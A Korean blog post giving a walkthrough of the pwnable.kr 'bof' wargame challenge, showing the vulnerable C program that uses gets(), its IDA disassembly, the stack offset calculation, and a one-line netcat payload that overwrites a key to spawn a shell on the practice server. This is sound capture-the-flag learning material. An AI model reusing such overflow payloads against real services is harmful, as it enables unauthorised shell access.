일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 최강욱
- 스페인 코로나
- 이지혜
- 임영규
- 양적완화
- 킹덤 고근희
- 픽크루
- 제넥신
- 김재석
- 성남은혜의강교회
- 뭉쳐야 찬다
- 성남 코로나 확진자
- 스콜피온킹
- 학교 개학 연기 4월
- 고민정
- 불가피
- 금리인하
- 해킹
- 조희연
- 리리남매
- 이태원 클라쓰 15회 예고
- 폰폰테스트
- 김영권
- 유튜버 김재석
- 미국 금리인하
- 김영권 아내
- 은혜의 강 교회
- libtins
- 이상형 만들기
- 홍혜걸
Archives
- Today
- Total
Dork's port
Pwnable.kr bof풀이 본문
bof풀이를 해보도록 하겠습니다.
우선 C를 보도록 할까요?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
key의 값을 cafebabe로 바꾸어주면 되는 간단한 문제입니다. overme의 버퍼를 이용하여 key의 주소까지 덮어쓰면 자동으로 쉘을 띄워주는 간단한 문제이네요.
그럼 어셈코드를 보도록할까요?
아래는 IDA에서 확인한 ASM 입니다.
.text:0000062C s = byte ptr -2Ch
.text:0000062C var_C = dword ptr -0Ch
.text:0000062C arg_0 = dword ptr 8
.text:0000062C push ebp
.text:0000062D mov ebp, esp
.text:0000062F sub esp, 48h
.text:00000632 mov eax, large gs:14h
.text:00000638 mov [ebp+var_C], eax
.text:0000063B xor eax, eax
.text:0000063D mov dword ptr [esp], offset s ; "overflow me : "
.text:00000644 call puts
.text:00000649 lea eax, [ebp+s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets
.text:00000654 cmp [ebp+arg_0], 0CAFEBABEh
.text:0000065B jnz short loc_66B
.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text:00000664 call system
.text:00000669 jmp short loc_677
IDA에 익숙하지 않아 공부 목적으로 IDA를 이용하였는데 첫번째 난관은 .text:0000063D .text:00000649 부분에 사용되는 s가 같다는 점이 이해가 되지않아 고생을 많이 했습니다.
그래서 결국 Kali로 gdb를 이용해 풀었는데, 후에 알게 된점이 IDA에서는 아래와 같이 s의 색깔로 다른 변수를 표시하는 것이라고 추측하였습니다.
위의 어셈블리에서 key에 해당하는 arg_0의 주소가 8이고 overme에 해당하는 배열의 주소가 -0x2c이므로 차이만큼 채운 후 후에 cafebabe를 입력해주면 되겠군요.
따라서 아래와 같이 페이로드를 작성할 수 있습니다.
(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000
그런 후 프롬포트가 나타나는데 flag를 cat하면 문제는 완료됩니다!
'Pwnable.kr' 카테고리의 다른 글
pwnable.kr flag 풀이 (0) | 2018.08.24 |
---|---|
Pwnable.kr col 풀이 (0) | 2018.05.29 |
Pwnable.kr fd 풀이 (0) | 2018.05.29 |
Comments